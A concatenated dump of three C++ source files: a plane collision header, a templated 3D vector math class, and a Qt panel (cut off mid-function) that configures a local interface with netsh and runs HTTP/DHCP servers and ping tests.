04875e7a249e87a3be234e912ce13797cf64c811 | 7bcb6cba2e172d32e85be0e854d8993dfb597947 | /practica5/include/Plano.h | 93328411f3c69575f823e0bebb95b2763a3f5587 | [] | no_license | Scharfhausen/SII_51478 | dbe07ab00efc8bf23137535da484e668de1033cf | f6fc9e9344765fc3b8be8e6ac670ca015340f9a6 | refs/heads/master | 2020-03-18T10:28:43.126571 | 2017-12-21T11:29:57 | 2017-12-21T11:29:57 | 134,614,686 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 775 | h | //Este código ha sido modificado por Alvaro Zornoza (51540)
// Plano.h: interface for the Plano class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_PLANO_H__D5740FCC_9B1B_48DD_8642_77B83D54C6A2__INCLUDED_)
#define AFX_PLANO_H__D5740FCC_9B1B_48DD_8642_77B83D54C6A2__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Esfera.h"
#include "Vector2D.h"
class Plano
{
public:
bool Rebota(Esfera& e);
bool Rebota(Plano& p);
void Dibuja();
Plano();
virtual ~Plano();
float x1,y1;
float x2,y2;
float r,g,b;
protected:
float Distancia(Vector2D punto, Vector2D *direccion);
};
#endif // !defined(AFX_PLANO_H__D5740FCC_9B1B_48DD_8642_77B83D54C6A2__INCLUDED_)
| [
"j.sromero@alumnos.upm.es"
] | j.sromero@alumnos.upm.es |
d3e0eb433c89f78455edc1ea220c32809fca5209 | bc0c6baf3e07e0188b949dae9f6dc2d9a2af04c5 | /TGA2Dfresh/Source/CommonUtilities/Math/Vector3.hpp | 3e7711549db69f5ce9b14014e412efe9716e2d21 | [] | no_license | IlliusFrost/Cool-game | 6a59122983f75b291fddf499ef2601557e3a16a2 | 2a4c5a5e892790491c5d6a04985d425534d7a395 | refs/heads/master | 2020-04-05T14:15:49.850346 | 2018-11-11T09:36:21 | 2018-11-11T09:36:21 | 156,921,208 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,382 | hpp | #pragma once
#include <cmath>
namespace CommonUtilities
{
template <class T>
class Vector3
{
public:
T x;
T y;
T z;
Vector3<T>();
Vector3<T>(const T& aX, const T& aY, const T& aZ);
Vector3<T>(const Vector3<T>& aVector) = default;
Vector3<T>& operator=(const Vector3<T>& aVector3) = default;
~Vector3<T>() = default;
T LengthSqr() const;
T Length() const;
Vector3<T> GetNormalized() const;
void Normalize();
T Dot(const Vector3<T>& aVector) const;
Vector3<T> Cross(const Vector3<T>& aVector) const;
};
//Returns the vector sum of aVector0 and aVector1
template <class T>
Vector3<T> operator+(const Vector3<T>& aVector0, const Vector3<T>& aVector1)
{
T myX = aVector0.x + aVector1.x;
T myY = aVector0.y + aVector1.y;
T myZ = aVector0.z + aVector1.z;
Vector3<T> vector3(myX, myY, myZ);
return vector3;
}
//Returns the vector difference of aVector0 and aVector1
template <class T>
Vector3<T> operator-(const Vector3<T>& aVector0, const Vector3<T>& aVector1)
{
T myX = aVector0.x - aVector1.x;
T myY = aVector0.y - aVector1.y;
T myZ = aVector0.z - aVector1.z;
Vector3<T> vector3(myX, myY, myZ);
return vector3;
}
//Returns the vector aVector multiplied by the scalar aScalar
template <class T>
Vector3<T> operator*(const Vector3<T>& aVector, const T& aScalar)
{
T myX = aVector.x * aScalar;
T myY = aVector.y * aScalar;
T myZ = aVector.z * aScalar;
Vector3<T> vector3(myX, myY, myZ);
return vector3;
}
//Returns the vector aVector multiplied by the scalar aScalar
template <class T>
Vector3<T> operator*(const T& aScalar, const Vector3<T>& aVector)
{
T myX = aVector.x * aScalar;
T myY = aVector.y * aScalar;
T myZ = aVector.z * aScalar;
Vector3<T> vector3(myX, myY, myZ);
return vector3;
}
//Returns the vector aVector divided by the scalar aScalar (equivalent to aVector multiplied by 1/aScalar)
template <class T>
Vector3<T> operator/(const Vector3<T>& aVector, const T& aScalar)
{
T myX = aVector.x / aScalar;
T myY = aVector.y / aScalar;
T myZ = aVector.z / aScalar;
Vector3<T> vector3(myX, myY, myZ);
return vector3;
}
//Equivalent to setting aVector0 to (aVector0 + aVector1)
template <class T>
void operator+=(Vector3<T>& aVector0, const Vector3<T>& aVector1)
{
aVector0.x += aVector1.x;
aVector0.y += aVector1.y;
aVector0.z += aVector1.z;
}
//Equivalent to setting aVector0 to (aVector0 - aVector1)
template <class T>
void operator-=(Vector3<T>& aVector0, const Vector3<T>& aVector1)
{
aVector0.x -= aVector1.x;
aVector0.y -= aVector1.y;
aVector0.z -= aVector1.z;
}
//Equivalent to setting aVector to (aVector * aScalar)
template <class T>
void operator*=(Vector3<T>& aVector, const T& aScalar)
{
aVector.x *= aScalar;
aVector.y *= aScalar;
aVector.z *= aScalar;
}
//Equivalent to setting aVector to (aVector / aScalar)
template <class T>
void operator/=(Vector3<T>& aVector, const T& aScalar)
{
aVector.x /= aScalar;
aVector.y /= aScalar;
aVector.z /= aScalar;
}
template<class T>
inline Vector3<T>::Vector3()
{
x = 0;
y = 0;
z = 0;
}
template<class T>
Vector3<T>::Vector3(const T & aX, const T & aY, const T & aZ)
{
x = aX;
y = aY;
z = aZ;
}
template<class T>
T Vector3<T>::LengthSqr() const
{
return ((x*x) + (y*y) + (z*z));
}
template<class T>
T Vector3<T>::Length() const
{
return sqrt((x*x) + (y*y) + (z*z));
}
template<class T>
inline Vector3<T> Vector3<T>::GetNormalized() const
{
T length = Length();
return Vector3<T>(x / length, y / length, z / length);
}
template<class T>
inline void Vector3<T>::Normalize()
{
if (LengthSqr() <= static_cast<T>(0.0f))
{
return;
}
T temp = sqrt(x*x + y * y + z * z);
x /= temp;
y /= temp;
z /= temp;
}
template<class T>
inline T Vector3<T>::Dot(const Vector3<T>& aVector) const
{
T myX = x * aVector.x;
T myY = y * aVector.y;
T myZ = z * aVector.z;
T dotProduct = myX + myY + myZ;
return dotProduct;
}
template<class T>
inline Vector3<T> Vector3<T>::Cross(const Vector3<T>& aVector) const
{
T myX = aVector.x;
T myY = aVector.y;
T myZ = aVector.z;
T returnX = (y) * (myZ)-(z) * (myY);
T returnY = (z) * (myX)-(x) * (myZ);
T returnZ = (x) * (myY)-(y) * (myX);
Vector3<T> returnVector(returnX, returnY, returnZ);
return returnVector;
}
} | [
"illiusssm@gmail.com"
] | illiusssm@gmail.com |
9f137c86e16661bbe0eab3d400e092bc380c15d4 | 314053b20264b3dd4b4df57407fb01fe154b5300 | /actionbar.cpp | 2b565c1252cf84e006e38ba09f5489da37ffb0b3 | [] | no_license | storyyey/tcp_server | 9fff070369aab07632acc78a3697dac4745f6f71 | ba2a58cdae6d22080fff464f9dcfd0600dd44faa | refs/heads/master | 2023-04-09T06:41:23.125686 | 2023-03-31T16:23:20 | 2023-03-31T16:23:20 | 265,773,353 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 41,290 | cpp | #include "actionbar.h"
#include "mainwindow.h"
#include <QGroupBox>
#include <WinSock2.h>
#include <QApplication>
static inline QString host(const QHttpServerRequest &request)
{
return request.headers()[QStringLiteral("Host")].toString();
}
ActionBar::ActionBar(QWidget *parent) : QWidget(parent)
{
QString thisStyle\
= "QPushButton:hover {\
background-color: #BDBDBD;\
border-radius: 8px;\
}"\
"QPushButton:pressed {\
background-color: #8F8F8F;\
border-radius: 8px;\
}";
thisStyle += "QPushButton {\
background-color: transparent;\
height:30px;\
}";
thisStyle += "QLineEdit {\
border: 2px solid #D4D4D4;\
border-radius: 4px;\
height: 30px;\
}\
QLineEdit:focus{\
border: 3px solid #63B8FF;\
}";
thisStyle += "QComboBox {\
border: 2px solid #D4D4D4;\
border-radius: 4px;\
height: 30px;\
}\
QComboBox:focus{\
border: 3px solid #63B8FF;\
}";
thisStyle += "QToolBoxButton {\
background-color: #FFFFFF;\
color: #000000;\
min-height: 40px;\
border: 0px solid #4D4D4D;\
text-align: center;\
border-radius: 8px;\
font-size: 16px;\
font-weight: bold;\
}"\
"QToolBox {\
border: 6px solid transparent;\
border-radius: 8px;\
}";
thisStyle += "QPlainTextEdit {\
border: 2px solid #FFFFFF;\
border-radius: 4px;\
}";
thisStyle += ".QWidget {\
background-color: #FFFFFF;\
border-radius: 8px;\
}";
thisStyle += "QTabWidget::pane {\
border: 0px;\
}";
this->setStyleSheet(thisStyle);
mainLayout = new QVBoxLayout();
this->setLayout(mainLayout);
QWidget *toolBoxWidget = new QWidget();
QVBoxLayout *toolBoxLayout = new QVBoxLayout();
toolBoxWidget->setLayout(toolBoxLayout);
toolBox = new QTabWidget();
toolBoxLayout->addWidget(toolBox);
mainLayout->addWidget(toolBoxWidget);
shortcutWidgetInit();
httpServerWidgetInit();
dhcpServerWidgetInit();
networkTestWidgetInit();
messageNotifyWidgetInit();
}
ActionBar::~ActionBar()
{
if (httpServer) {
delete httpServer;
}
}
void ActionBar::shortcutWidgetInit()
{
static int shortcutWidgetIndex;
shortcutWidgetIndex = toolBox->count();
QWidget *shortcutWidget = new QWidget();
QVBoxLayout *mainLayout = new QVBoxLayout();
shortcutWidget->setLayout(mainLayout);
QGroupBox *baseBox = new QGroupBox();
baseBox->setTitle("基础设置");
mainLayout->addWidget(baseBox);
QVBoxLayout *baseLayout = new QVBoxLayout();
baseBox->setLayout(baseLayout);
QHBoxLayout *proLayout = new QHBoxLayout();
baseLayout->addLayout(proLayout);
QLabel *proLabel = new QLabel("项目类型:");
proLayout->addWidget(proLabel);
QComboBox *projectBox = new QComboBox();
projectBox->setFixedWidth(250);
shortCutWidgets.append(projectBox);
projectBox->addItems(QStringList() << "幼儿园" << "其他");
projectBox->setCurrentText(SetOption::value("ShortcutFunction", "projectType").toString());
connect(projectBox, &QComboBox::currentTextChanged, this, [](const QString &text) {
SetOption::setValue("ShortcutFunction", "projectType", text);
});
proLayout->addWidget(projectBox);
proLayout->addStretch();
QHBoxLayout *wanLayout = new QHBoxLayout();
baseLayout->addLayout(wanLayout);
QLabel *wanlabel = new QLabel("网络接口:");
wanLayout->addWidget(wanlabel);
QComboBox *interfaceBox = new QComboBox();
interfaceBox->setFixedWidth(250);
QList<QNetworkInterface> interfaces = QNetworkInterface::allInterfaces();
for (int i = 0; i < interfaces.count(); i++){
QNetworkInterface var = interfaces[i];
interfaceBox->addItem(var.humanReadableName());
}
interfaceBox->setCurrentText("以太网");
shortCutWidgets.append(interfaceBox);
interfaceBox->setCurrentText(SetOption::value("ShortcutFunction", "interface").toString());
connect(interfaceBox, &QComboBox::currentTextChanged, this, [](const QString &text) {
SetOption::setValue("ShortcutFunction", "interface", text);
});
wanLayout->addWidget(interfaceBox);
wanLayout->addStretch();
QGroupBox *autoUpgradeBox = new QGroupBox();
autoUpgradeBox->setTitle("升级设置");
mainLayout->addWidget(autoUpgradeBox);
QGridLayout *autoUpgradeLayout = new QGridLayout();
autoUpgradeBox->setLayout(autoUpgradeLayout);
autoUpgradeCehck = new QCheckBox();
autoUpgradeCehck->setText("自动升级");
autoUpgradeCehck->setChecked(SetOption::value("ShortcutFunction", "autoUpgradeState").toBool());
connect(autoUpgradeCehck, &QCheckBox::stateChanged, this, [](int state) {
bool val = state == Qt::CheckState::Checked ? true : false;
SetOption::setValue("ShortcutFunction", "autoUpgradeState", val);
});
//shortCutWidgets.append(autoUpgradeCehck);
autoUpgradeLayout->addWidget(autoUpgradeCehck, 0, 0);
QHBoxLayout *devTypeLayout = new QHBoxLayout();
autoUpgradeLayout->addLayout(devTypeLayout, 1, 0);
QLabel *devTypeLabel = new QLabel("网关类型:");
devTypeLayout->addWidget(devTypeLabel);
QComboBox *devTypeComBox = new QComboBox();
devTypeComBox->setFixedWidth(250);
shortCutWidgets.append(devTypeComBox);
devTypeComBox->addItem("所有");
devTypeComBox->setCurrentText("所有");
devTypeComBox->addItems(Devices::devTypeList());
devTypeComBox->setCurrentText(SetOption::value("ShortcutFunction", "deviceType").toString());
connect(devTypeComBox, &QComboBox::currentTextChanged, this, [](const QString &text) {
SetOption::setValue("ShortcutFunction", "deviceType", text);
});
devTypeLayout->addWidget(devTypeComBox);
devTypeLayout->addStretch();
QHBoxLayout *currVerLayout = new QHBoxLayout();
autoUpgradeLayout->addLayout(currVerLayout, 2, 0);
QLabel *currVerLabel = new QLabel("当前版本:");
currVerLayout->addWidget(currVerLabel);
autoUpgradeCurrVerEdit = new QLineEdit();
autoUpgradeCurrVerEdit->setFixedWidth(250);
shortCutWidgets.append(autoUpgradeCurrVerEdit);
autoUpgradeCurrVerEdit->setText(SetOption::value("ShortcutFunction", "autoUpgradeCurrVer").toString());
connect(autoUpgradeCurrVerEdit, &QLineEdit::textChanged, this, [](const QString &text) {
SetOption::setValue("ShortcutFunction", "autoUpgradeCurrVer", text);
});
currVerLayout->addWidget(autoUpgradeCurrVerEdit);
currVerLayout->addStretch();
QHBoxLayout *targetVerLayout = new QHBoxLayout();
autoUpgradeLayout->addLayout(targetVerLayout, 3, 0);
QLabel *targetVerLabel = new QLabel("目标版本:");
targetVerLayout->addWidget(targetVerLabel);
autoUpgradeTargetEdit = new QLineEdit();
autoUpgradeTargetEdit->setFixedWidth(250);
shortCutWidgets.append(autoUpgradeTargetEdit);
autoUpgradeTargetEdit->setText(SetOption::value("ShortcutFunction", "autoUpgradeTargetVer").toString());
connect(autoUpgradeTargetEdit, &QLineEdit::textChanged, this, [](const QString &text) {
SetOption::setValue("ShortcutFunction", "autoUpgradeTargetVer", text);
});
targetVerLayout->addWidget(autoUpgradeTargetEdit);
targetVerLayout->addStretch();
QGroupBox *autoIpConfigBox = new QGroupBox();
autoIpConfigBox->setTitle("地址设置");
mainLayout->addWidget(autoIpConfigBox);
QGridLayout *autoIpConfigLayout = new QGridLayout();
autoIpConfigBox->setLayout(autoIpConfigLayout);
QCheckBox *autoIpConfigCehck = new QCheckBox();
autoIpConfigCehck->setText("自动配置地址");
shortCutWidgets.append(autoIpConfigCehck);
autoIpConfigCehck->setChecked(SetOption::value("ShortcutFunction", "autoIpconfigState").toBool());
connect(autoIpConfigCehck, &QCheckBox::stateChanged, this, [](int state) {
bool val = state == Qt::CheckState::Checked ? true : false;
SetOption::setValue("ShortcutFunction", "autoIpconfigState", val);
});
autoIpConfigLayout->addWidget(autoIpConfigCehck, 0, 0);
QHBoxLayout *presetLayout = new QHBoxLayout();
autoIpConfigLayout->addLayout(presetLayout, 1, 0);
QLabel *presetIpLabel = new QLabel("预设地址:");
presetLayout->addWidget(presetIpLabel);
QComboBox *presetIpComBox = new QComboBox();
presetIpComBox->setFixedWidth(250);
shortCutWidgets.append(presetIpComBox);
presetLayout->addWidget(presetIpComBox);
presetLayout->addStretch();
QGroupBox *autoRemarkBox = new QGroupBox();
autoRemarkBox->setTitle("备注设置");
mainLayout->addWidget(autoRemarkBox);
QHBoxLayout *remarkLayout = new QHBoxLayout();
autoRemarkBox->setLayout(remarkLayout);
QLabel *remarkLabel = new QLabel("备注信息:");
remarkLayout->addWidget(remarkLabel);
autoRemarkEdit = new QLineEdit();
autoRemarkEdit->setFixedWidth(250);
shortCutWidgets.append(autoRemarkEdit);
remarkLayout->addWidget(autoRemarkEdit);
remarkLayout->addStretch();
QHBoxLayout *btnLayout = new QHBoxLayout();
mainLayout->addLayout(btnLayout);
QPushButton *startBtn = new QPushButton("启动");
btnLayout->addWidget(startBtn);
startBtn->setEnabled(true);
startBtn->setIcon(QIcon(runIcon));
QPushButton *stopBtn = new QPushButton("停止");
btnLayout->addWidget(stopBtn);
stopBtn->setEnabled(false);
stopBtn->setIcon(QIcon(stopIcon));
QTimer *delayTimer = new QTimer();
connect(startBtn, &QPushButton::clicked, this, [this, projectBox, interfaceBox, startBtn, stopBtn, delayTimer] {
QProcess process;
QString cmdformat("netsh interface ip set address \"%1\" static %2 %3 %4");
QString cmd;
QString ip;
QString port = 0;
if (projectBox->currentText() == "幼儿园") {
cmd = QString(cmdformat).arg(interfaceBox->currentText(),\
"10.200.67.222", "255.255.255.0", "10.200.67.1");
ip = "10.200.67.222";
port = "4998";
}
else {
cmd = QString(cmdformat).arg(interfaceBox->currentText(),\
"14.29.249.101", "255.255.255.0", "14.29.249.1");
ip = "14.29.249.101";
port = "4998";
}
qDebug() << cmd;
process.start(cmd);
process.waitForFinished();
delayTimer->setInterval(5000);
delayTimer->start();
connect(delayTimer, &QTimer::timeout, this, [this, port, ip, delayTimer](){
refreshComboBox(ifipBox);
ifipBox->addItem(anyAddress);
ifipBox->setCurrentText(anyAddress);
listenportEdit->setText(port);
httpRunBtn->click();
refreshComboBox(dhcpSrvIp);
dhcpSrvIp->setCurrentText(ip);
dhcpAutoConfig();
dhcpRunBtn->click();
delayTimer->stop();
});
startBtn->setEnabled(false);
stopBtn->setEnabled(true);
setEnabled(shortCutWidgets, false);
toolBox->setTabIcon(shortcutWidgetIndex, QIcon(runIcon));
});
connect(stopBtn, &QPushButton::clicked, this, [this, startBtn, stopBtn] {
httpStopBtn->click();
dhcpStopBtn->click();
startBtn->setEnabled(true);
stopBtn->setEnabled(false);
setEnabled(shortCutWidgets, true);
toolBox->setTabIcon(shortcutWidgetIndex, QIcon(stopIcon));
});
mainLayout->addStretch();
toolBox->addTab(shortcutWidget, "快捷功能");
toolBox->setTabIcon(shortcutWidgetIndex, QIcon(stopIcon));
}
void ActionBar::httpServerWidgetInit()
{
static int httpWidgetIndex;
httpWidgetIndex = toolBox->count();
QVBoxLayout *mvlayout = new QVBoxLayout();
QGridLayout *mLayout = new QGridLayout();
mvlayout->addLayout(mLayout);
httpSrvWidget = new QWidget();
httpSrvWidget->setLayout(mvlayout);
toolBox->addTab(httpSrvWidget, "HTTP");
toolBox->setTabIcon(httpWidgetIndex, QIcon(stopIcon));
QLabel *interLabel = new QLabel("网口:");
mLayout->addWidget(interLabel, 0, 0);
httpInterfaces = new QComboBox();
mLayout->addWidget(httpInterfaces, 0, 1);
interfaceListInit();
connect(httpInterfaces, SIGNAL(currentIndexChanged(int)), this, SLOT(interfaceSelectChange(int)));
QLabel *ipLabel = new QLabel("IP:");
mLayout->addWidget(ipLabel, 1, 0);
ifipBox = new QComboBox();
refreshComboBox(ifipBox);
mLayout->addWidget(ifipBox, 1, 1);
QLabel *portLabel = new QLabel("端口:");
mLayout->addWidget(portLabel, 2, 0);
listenportEdit = new QLineEdit();
listenportEdit->setText("4998");
mLayout->addWidget(listenportEdit, 2, 1);
QHBoxLayout *btnLayout = new QHBoxLayout();
mLayout->addLayout(btnLayout, 3, 0, 1, 2);
httpRunBtn = new QPushButton();
httpRunBtn->setText("启动");
httpRunBtn->setIcon(QIcon(runIcon));
httpRunBtn->setIconSize(QSize(50, 20));
httpRunBtn->setDisabled(false);
btnLayout->addWidget(httpRunBtn);
httpStopBtn = new QPushButton();
httpStopBtn->setText("停止");
httpStopBtn->setIcon(QIcon(stopIcon));
httpStopBtn->setIconSize(QSize(50, 20));
httpStopBtn->setDisabled(true);
btnLayout->addWidget(httpStopBtn);
connect(httpRunBtn, &QPushButton::clicked, this, [this] {
if (httpServerRun()) {
toolBox->setTabIcon(httpWidgetIndex, QIcon(runIcon));
}
});
connect(httpStopBtn, &QPushButton::clicked, this, [this] {
if (httpServerStop()) {
toolBox->setTabIcon(httpWidgetIndex, QIcon(stopIcon));
}
});
mvlayout->addStretch();
}
void ActionBar::dhcpServerWidgetInit()
{
static int dhcpWidgetIndex;
dhcpWidgetIndex = toolBox->count();
dhcpsrv = new DhcpServer();
QVBoxLayout *mLayout = new QVBoxLayout();
dhcpSrvWidget = new QWidget();
dhcpSrvWidget->setLayout(mLayout);
toolBox->addTab(dhcpSrvWidget, "DHCP");
toolBox->setTabIcon(dhcpWidgetIndex, QIcon(stopIcon));
QRegExp regExp("((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})(\\.((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})){3}");
QValidator *validator = new QRegExpValidator(regExp, this);
QGridLayout *ipconfigLayout = new QGridLayout();
QLabel *srvipLabel = new QLabel("服务器IP:");
ipconfigLayout->addWidget(srvipLabel, 0, 0);
mLayout->addLayout(ipconfigLayout);
dhcpSrvIp = new QComboBox();
ipconfigLayout->addWidget(dhcpSrvIp, 0, 1);
refreshComboBox(dhcpSrvIp);
connect(dhcpSrvIp, SIGNAL(currentIndexChanged(int)), this, SLOT(dhcpServerIpChange(int)));
QLabel *startIPlabel = new QLabel("起始IP:");
ipconfigLayout->addWidget(startIPlabel, 1, 0);
dhcpStartIP = new QLineEdit();
dhcpStartIP->setValidator(validator);
ipconfigLayout->addWidget(dhcpStartIP, 1, 1);
QLabel *endIPlabel = new QLabel("结束IP:");
ipconfigLayout->addWidget(endIPlabel, 2, 0);
dhcpEndIP = new QLineEdit();
dhcpEndIP->setValidator(validator);
ipconfigLayout->addWidget(dhcpEndIP, 2, 1);
QLabel *netmasklabel = new QLabel("子网掩码:");
ipconfigLayout->addWidget(netmasklabel, 3, 0);
dhcpNetMask = new QLineEdit();
dhcpNetMask->setValidator(validator);
ipconfigLayout->addWidget(dhcpNetMask, 3, 1);
connect(dhcpNetMask, SIGNAL(textEdited(QString)), this, SLOT(dhcpserverMaskChange(QString)));
QLabel *gatewaylabel = new QLabel("网关:");
ipconfigLayout->addWidget(gatewaylabel, 4, 0);
dhcpGatewawy = new QLineEdit();
dhcpGatewawy->setValidator(validator);
ipconfigLayout->addWidget(dhcpGatewawy, 4, 1);
QLabel *routerlabel = new QLabel("路由:");
ipconfigLayout->addWidget(routerlabel, 5, 0);
dhcpRouter = new QLineEdit();
dhcpRouter->setValidator(validator);
ipconfigLayout->addWidget(dhcpRouter, 5, 1);
QLabel *broadcastlabel = new QLabel("广播地址:");
ipconfigLayout->addWidget(broadcastlabel, 6, 0);
dhcpBroadcast = new QLineEdit();
dhcpBroadcast->setValidator(validator);
ipconfigLayout->addWidget(dhcpBroadcast, 6, 1);
QHBoxLayout *btnLayout = new QHBoxLayout();
mLayout->addLayout(btnLayout);
dhcpRunBtn = new QPushButton();
dhcpRunBtn->setText("启动");
dhcpRunBtn->setIcon(QIcon(runIcon));
dhcpRunBtn->setIconSize(QSize(50, 20));
dhcpRunBtn->setDisabled(false);
btnLayout->addWidget(dhcpRunBtn);
dhcpStopBtn = new QPushButton();
dhcpStopBtn->setText("停止");
dhcpStopBtn->setIcon(QIcon(stopIcon));
dhcpStopBtn->setIconSize(QSize(50, 20));
dhcpStopBtn->setDisabled(true);
btnLayout->addWidget(dhcpStopBtn);
dhcpAutoConfig();
connect(dhcpRunBtn, &QPushButton::clicked, this, [this] {
if (dhcpServerRun()) {
toolBox->setTabIcon(dhcpWidgetIndex, QIcon(runIcon));
}
});
connect(dhcpStopBtn, &QPushButton::clicked, this, [this] {
if (dhcpServerStop()) {
toolBox->setTabIcon(dhcpWidgetIndex, QIcon(stopIcon));
}
});
mLayout->addStretch();
}
void ActionBar::networkTestWidgetInit()
{
static int networTestWidgetIndex;
networTestWidgetIndex = toolBox->count();
QProcess *process = new QProcess(this);
QRegExp regExp("((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})(\\.((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})){3}");
QValidator *validator = new QRegExpValidator(regExp, this);
QGridLayout *mainLayout = new QGridLayout();
QWidget *netTestWidget = new QWidget();
netTestWidget->setLayout(mainLayout);
toolBox->addTab(netTestWidget, "网络测试");
toolBox->setTabIcon(networTestWidgetIndex, QIcon(stopIcon));
QLabel *interfaceLabel = new QLabel("网络接口");
mainLayout->addWidget(interfaceLabel, 0, 0);
QComboBox *interfaceBox = new QComboBox();
mainLayout->addWidget(interfaceBox, 0, 1);
QList<QNetworkInterface> interfaces = QNetworkInterface::allInterfaces();
for (int i = 0; i < interfaces.count(); i++){
QNetworkInterface var = interfaces[i];
interfaceBox->addItem(var.humanReadableName());
}
interfaceBox->setCurrentText("以太网");
QLabel *hostAddrLabel = new QLabel("本机地址:");
mainLayout->addWidget(hostAddrLabel, 1, 0);
QComboBox *hostAddrBox = new QComboBox();
hostAddrBox->setEditable(true);
QLineEdit *hostAddrEdit = hostAddrBox->lineEdit();
hostAddrEdit->setValidator(validator);
mainLayout->addWidget(hostAddrBox, 1, 1);
QLabel *hostMaskLabel = new QLabel("本机掩码:");
mainLayout->addWidget(hostMaskLabel, 2, 0);
QLineEdit *hostMaskEdit = new QLineEdit();
hostMaskEdit->setValidator(validator);
mainLayout->addWidget(hostMaskEdit, 2, 1);
QLabel *broadcastAddrLabel = new QLabel("网关地址:");
mainLayout->addWidget(broadcastAddrLabel, 3, 0);
QLineEdit *broadcastAddrEdit = new QLineEdit();
broadcastAddrEdit->setValidator(validator);
mainLayout->addWidget(broadcastAddrEdit, 3, 1);
QLabel *targetAddrLabel = new QLabel("目标地址:");
mainLayout->addWidget(targetAddrLabel, 4, 0);
QComboBox *targetAddrBox = new QComboBox();
targetAddrBox->setEditable(true);
QLineEdit *targetAddrEdit = targetAddrBox->lineEdit();
targetAddrEdit->setValidator(validator);
mainLayout->addWidget(targetAddrBox, 4, 1);
targetAddrBox->addItems(QStringList() << "10.200.67.222" << "14.29.249.101");
targetAddrEdit->setText("10.200.67.222");
QPlainTextEdit *testInfoDisplay = new QPlainTextEdit();
mainLayout->addWidget(testInfoDisplay, 5, 0, 1, 2);
connect(process, &QProcess::readyReadStandardOutput, this, [process, testInfoDisplay] {
testInfoDisplay->appendPlainText(\
QTextCodec::codecForName("GBK")->toUnicode(\
process->readAllStandardOutput()).toStdString().c_str());
});
QHBoxLayout *btnLayout = new QHBoxLayout();
mainLayout->addLayout(btnLayout, 6, 0, 1, 2);
QPushButton *addAddressBtn = new QPushButton("添加地址");
btnLayout->addWidget(addAddressBtn);
addAddressBtn->setIcon(QIcon(":/icon/add.png"));
connect(addAddressBtn, &QPushButton::clicked, this, [process, interfaceBox,\
hostAddrEdit, hostMaskEdit, broadcastAddrEdit, testInfoDisplay] {
QString addIpCmd = QString("netsh interface ip set address \"%1\" static %2 %3 %4").\
arg(interfaceBox->currentText(), hostAddrEdit->text(), hostMaskEdit->text(), broadcastAddrEdit->text());
qDebug() << addIpCmd;
testInfoDisplay->clear();
process->close();
process->start(addIpCmd);
process->waitForFinished();
});
QPushButton *startTestBtn = new QPushButton("开始测试");
startTestBtn->setIcon(QIcon(runIcon));
connect(startTestBtn, &QPushButton::clicked, this, [this, process,\
hostAddrEdit, targetAddrEdit] {
process->start(QString("ping -S %1 %2").arg(hostAddrEdit->text(), targetAddrEdit->text()));
toolBox->setTabIcon(networTestWidgetIndex, QIcon(runIcon));
});
btnLayout->addWidget(startTestBtn);
QPushButton *stopTestBtn = new QPushButton("停止测试");
stopTestBtn->setIcon(QIcon(stopIcon));
btnLayout->addWidget(stopTestBtn);
connect(stopTestBtn, &QPushButton::clicked, this, [this, process] {
process->close();
toolBox->setTabIcon(networTestWidgetIndex, QIcon(stopIcon));
});
}
void ActionBar::messageNotifyWidgetInit()
{
notifyLayout = new QVBoxLayout();
notifyLayout->setContentsMargins(0, 0, 0, 0);
notifyWidget = new QWidget();
mainLayout->addWidget(notifyWidget);
notifyWidget->setStyleSheet(".QWidget {\
border: 0px;\
border-radius: 8px;\
background-color: #EDEDED;\
}");
notifyWidget->setLayout(notifyLayout);
msgwidget = new QWidget();
msgwidget->setStyleSheet(".QWidget {\
border: 0px;\
border-radius: 8px;\
background-color: #7FFFD4;\
}");
QVBoxLayout *msgLayout = new QVBoxLayout();
msgwidget->setLayout(msgLayout);
notifyLayout->addWidget(msgwidget);
msgLabel = new QLabel("message notify");
msgLayout->addWidget(msgLabel);
msgClearTimer = new QTimer();
msgClearTimer->setInterval(15000);
msgClearTimer->start();
connect(msgClearTimer, SIGNAL(timeout()), this, SLOT(messageAutoClear()));
notifyList = new QListWidget();
notifyLayout->addWidget(notifyList);
notifyList->setStyleSheet("QListWidget {\
border: 0px;\
background-color: #EDEDED;\
}\
QScrollBar {\
width: 0px;\
height: 0px;\
}"\
"QListWidget::item {\
border-radius: 8px;\
height: 40px;\
border: 1px solid #FCFCFC;\
}");
QString cntStyle = "QPushButton {\
background-color: transparent;\
border: 0px;\
}";
QHBoxLayout *notifyTotalLayout = new QHBoxLayout();
notifyLayout->addLayout(notifyTotalLayout);
normalNotifyCnt = new QPushButton();
normalNotifyCnt->hide();
normalNotifyCnt->setIcon(QIcon(":/icon/notify.png"));
normalNotifyCnt->setStyleSheet(cntStyle);
notifyTotalLayout->addWidget(normalNotifyCnt);
warnNotifyCnt = new QPushButton();
notifyTotalLayout->addWidget(warnNotifyCnt);
warnNotifyCnt->setStyleSheet(cntStyle);
errorNotifyCnt = new QPushButton();
notifyTotalLayout->addWidget(errorNotifyCnt);
errorNotifyCnt->setStyleSheet(cntStyle);
QPushButton *clearAllMsgBtn = new QPushButton();
clearAllMsgBtn->setIcon(QIcon(":/icon/clear.png"));
notifyTotalLayout->addWidget(clearAllMsgBtn);
mainAnimation = new QPropertyAnimation();
mainAnimation->setTargetObject(msgwidget);
mainAnimation->setPropertyName("geometry");
connect(clearAllMsgBtn, SIGNAL(clicked()), this, SLOT(clearAllNotify()));
//connect(testButton, SIGNAL(clicked()), this, SLOT(messagePopUp()));
connect(notifyList, SIGNAL(itemClicked(QListWidgetItem *)), this, SLOT(listWidgetItemClickd(QListWidgetItem *)));
}
void ActionBar::addMessageItem(const QString &text)
{
if (msgClearTimer->isActive()) {
msgClearTimer->setInterval(15000);
}
else {
msgClearTimer->start();
}
QListWidgetItem *item = new QListWidgetItem();
item->setIcon(QIcon(":/icon/notify.png"));
msgLabel->setText(text);
msgLabel->setToolTip(QDateTime::currentDateTime().toString("yyyy-MM-dd hh:mm:ss"));
notifyList->insertItem(0, item);
notifyList->setItemWidget(item, new QLabel(text));
item->setToolTip(QDateTime::currentDateTime().toString("yyyy-MM-dd hh:mm:ss"));
if (notifyList->count() > notifyRecordMax) {
